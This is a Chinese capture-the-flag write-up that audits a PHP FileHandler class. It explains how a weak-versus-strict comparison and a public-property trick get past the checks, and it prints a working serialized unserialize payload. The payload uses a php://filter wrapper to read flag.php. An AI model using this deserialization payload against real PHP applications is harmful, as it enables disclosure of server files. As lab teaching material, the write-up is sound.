进来就是一块代码
这题主要考察的是代码审计,对于每个函数的理解,理解为什么这样写,做完这题能学到很多
代码审计:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
先看第一部分
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
include 先引入了flag.php
然后,定义了一个名为 FileHandler 的类,该类拥有以下属性和方法:
$op:操作类型
$filename:文件名
$content:文件内容
然后构造函数 __construct() 用于初始化类FileHandler里的属性,也就是给这些属性赋值,
$op = "1"; //操作类型$op赋值(初始值)为1
$filename = "/tmp/tmpfile"; //给文件名$filename赋值(初始值)
$content = "Hello World!"; //给文件内容$content赋值(初始值)
然后$this->process();
即调用 process() 方法进行处理。这个process()方法是自定义的,在__construct()函数下面
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
process() 方法根据 $op 的值,决定执行不同的操作。
当 $op 为 "1" 时(注意这里的弱类型比较"=="),调用 write() 方法(在下面自定义的)进行写操作;
当 $op 为 "2" 时(这里也是弱比较"=="),调用 read 方法(在下面自定义的方法)进行读操作;否则,输出 "Bad Hacker!"
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
write() 方法的解析:
首先检查 $filename 和 $content 是否存在。
if(isset($this->filename) && isset($this->content))
如果 $content 的长度超过 100 个字符,则输出 "Too long!" 并终止程序。
if(strlen((string)$this->content) > 100) { //如果$content的长度超过100字符
$this->output("Too long!"); //输出Too long, output()函数是下面自定义的
die();//终止程序
}
否则,使用 file_put_contents() 函数将 $content 写入到 $filename 中,并根据写入结果输出相应的信息(即输出Successful或者Falied)。
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!"); //如果写入成功返回Successful
else $this->output("Failed!"); //写入失败Failed
这里的写入指的就是
file_put_contents() 函数的将 $content 写入到 $filename 中的操作
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
read()方法的解析:
定义$res是个空字符串
检验$filename是否存在,如果存在则读取$filename的文件内容,保存到$res
然后返回$res的值,相当于输出$filename的属性值
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
output()函数解析:
输出$s,也就是输出output()函数括号里的值,
并且在输出括号里的值之前,输出[Result]:在前面,并换行
举上面一个output()函数例子
output("Successful")的执行的结果是
[Result]:
Successful
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
解析:
__destruct()函数是PHP的自带的函数,不是自定义的,性质是在对象销毁时会自动被调用
如果 $op 的值为 "2"(注意这里的强类型"==="比较),则将 $op 的值修改为 "1",
if($this->op === "2")
$this->op = "1";
并清空 $content的内容,
$this->content = "";
然后再次调用 process() 方法。
$this->process();
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
解析:
定义了一个名为 is_valid() 的函数,用于检查一个字符串(括号里的值)是否包含有效的可打印字符。
用for循环对字符串的值里的字符一个一个判断,遍历$s里的字符
使用 ord() 函数判断字符串中每个字符的 ASCII 值是否在可打印字符的范围内(ASCII值在32 到 125),如果有不在范围内的字符,则返回 false,否则返回 true。
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //如果不在32到125返回false
return false;
return true; //否则返回true
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
通过 GET 获取 str 的参数,并将其转换为字符串类型,然后用变量$str保存,如果 $str 通过了 is_valid() 函数的检查,返回 true,则使用 unserialize() 函数对 $str 进行反序列化操作,并将结果赋值给变量 $obj。
解题:
首先我们要明确目标,我们的目标是flag.php里面的内容,那flag.php内容怎么拿到呢,一般就是有echo,return,file_get_contents 这些函数出现的地方有可能获取到flag.php里的内容
所以我们要优先关注有这些函数的代码位置,
还有就是得关注我们能控制的地方,作为整道题的切入点
比如_$GET _$POST这些函数接收外部传入的数据,这个数据是我们能从外部控制的,得关注
所以首先找到
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
这里有$_GET,这个str是我们能从外部控制的,所以应该以这里为切入点,仔细的分析这个函数,找下一步,看到$obj = unserialize($str); 说明这里完成了反序列化操作,那我们的思路就要往反序列化序列化上靠了,我们知道php反序列化是将字符串转换为对象,序列化则相反,那我们这里的str应该要传入的就是一个字符串,让他变为一个对象,然后去获得我们的结果,怎么获得呢,这个时候就得往上分析,
如果是序列化类的题型问题的话,应该要关注的就是源码当中出现的类了,因为这种题型的大致做法一般都是将一个类实例化成对象,然后再将这个对象序列化成为字符串,然后再次在源码当中执行反序列化等等这样子的
所以我们要找到源码当中的类
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
这个类同时完成了定义属性和赋值的操作,自带一个方法__construct(),还有进入另外一个方法process()的操作行为,
这里的op,filename,content的值是我们可以控制的,因为我们可以把这个类实例化后序列化,用str传入,他源码里有写反序列化的操作,也就相当于还是会反序列化变回去这个类,所以我们可以控制类里面的属性值的
在控制属性值之前,我们要看看各个属性会受到什么限制,有发挥什么作用,到源码里去看
首先看op这个属性
_destruct析构方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op==="2",将其变为op="1",同时属性content的值赋为空,然后进入process函数,需要注意这op与"2"比较的时候是强类型比较"==="
进入process()函数,那我们就接着跟上看看,
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,
注意这里的op=="2"变成了弱类型比较"=="
这里是存在绕过的
我们只要令op=2,这里的2是整型int,不是字符串型"2",还是有区别的,当op=2时,op==="2"就为false,op=="2"就为true,因为弱类型判断中2和"2"是相等的,强类型判断中就不是
绕过后就会进入read函数,并将read()函数的执行结果保存在$res变量中
else if($this->op == "2") {
$res = $this->read();
顺着分析read()函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
读取$filename所代表的文件中的内容,保存到$res中,然后return $res的内容,也就是将读取$filename的内容作为read()函数的执行结果
然后output这个$filename所代表的文件的文件内容
else if($this->op == "2") {
$res = $this->read();
$this->output($res);
这就是所有的流程了
所以我们可以修改类里面的filename的值为flag.php ,目的是获取里面的内容
然后修改op的值为2,用来绕过函数__destruct()的强比较,
content的值无所谓,在流程当中我们看了下无影响
开始构造str的值,我们要构造的是对象序列化后的字符串,用str传进去
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = 2;
}
$a = new FileHandler();
echo serialize($a);
?>
绕过:
is_valia(): 要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性在这里改为public,public属性序列化不会出现不可见字符
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = 2;
疑问:
看大佬的做法是filename这里传入php://filter/read=convert.base64-encode/resource=flag.php
用伪协议读取flag.php里的源码,这里为什么不可以使用$filename="flag.php"呢
用PHP在线工具(PHP 在线工具 | 菜鸟工具 (runoob.com))执行,得到序列化后的字符串
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:2;}
str传入这个字符串,得到base64编码的flag.php文件里的源码
base64解码拿到flag